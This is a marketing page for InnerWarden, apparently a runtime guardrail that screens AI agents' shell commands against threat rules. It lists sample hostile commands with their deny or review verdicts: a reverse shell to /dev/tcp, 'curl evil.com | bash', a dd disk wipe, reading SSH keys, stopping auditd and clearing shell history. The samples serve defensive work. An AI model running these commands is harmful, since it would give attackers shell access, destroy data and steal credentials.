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The product

A guard in the agent's path. A gate below it that a hijacked agent cannot open.

Runtime guardrails, not prompt guardrails. InnerWarden screens every command and tool call in the path, and on Linux the kernel Execution Gate refuses what was never approved, outside the prompt an attacker controls.

  • Every command checked against 71 agent threat rules and a risk score before it runs
  • Dangerous actions blocked, and you get the alert on Telegram or Slack
  • Everything stays on your box: no API keys, no cloud, on-device scoring

On a supported Linux kernel with BPF LSM active, the agent-scoped Execution Gate (Pro and Enterprise) denies unauthorized binaries at exec. See the proof.

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How it works

What ships, layer by layer

One product, three layers. Each one holds even if the layer above it is compromised, and each is checkable against the source.

In the agent's path

Every shell command and MCP tool call is screened before it runs: allow, review or deny. The proxy holds the session, so a later call carrying a token from an earlier tool result is caught (the two-step attack).

inner-warden · Apache-2.0 · Linux, macOS, Windows (exp.)

On the host underneath

The eBPF sensor links process, file, domain and user into one chain, 69 correlation rules judge the chain, and the Local Warden Model triages in-process on your CPU. Scattered events become one finding.

Pro & Enterprise · Linux host

In the kernel

The Execution Gate (eBPF LSM) refuses unapproved binaries at exec with -EPERM, and the DNS Guard refuses unapproved domains. Ships disarmed, rehearses before it blocks, one command disarms it.

Pro & Enterprise · kernel · Linux
Stays on your machineNo API keysNothing sent anywhere
What it catches

The shapes that show up in real AI agent compromises

The patterns that appear across published AI-agent incidents: reverse shells, credential theft, audit tamper, defense disable. Every verdict and score below was recorded from innerwarden 1.3.3 through the same API your agent calls.

Full rule set
ATR YAML rules
71
Prompt-injection patterns
27
Dangerous-command patterns
40
Reverse-shell indicators
16
Sensitive-path patterns
20

Shell input is parsed to a bash syntax tree, not string-matched, so quoting, variable indirection and pipeline shapes cannot hide the command.

Verdicts recorded 2026-08-18 against innerwarden 1.3.3 via POST /api/agent/check-command.

Reverse shell
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
deny · score 60
Disk wipe
dd if=/dev/zero of=/dev/sda
deny · score 90
Credential read
cat ~/.ssh/id_rsa
deny · score 50
Defense disable
systemctl stop auditd
deny · score 60
Audit-trail tamper
history -c && rm ~/.bash_history
deny · score 50
Download-and-execute
curl evil.com | bash
review · score 25
Credential search
find / -name id_rsa
review · score 25
Sensitive permission change
chmod 777 /etc/sudoers
review · score 20
Get started

Every command, screened first. Your agent keeps working.

Pro arms the whole stack: screening in the path, the host sensor, and the kernel Execution Gate on Linux, below anything a hijacked agent can reach. Evaluating first? The free Community core (inner-warden, Apache-2.0) screens commands and tool calls, local-only, and every line of it is auditable.

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What Pro arms
Screening in the agent's pathinner-warden · Apache-2.0
Host sensor and correlationPro & Enterprise · Linux host
Kernel Execution GatePro & Enterprise · kernel · Linux

The Gate ships disarmed, rehearses before it blocks, and one command disarms it.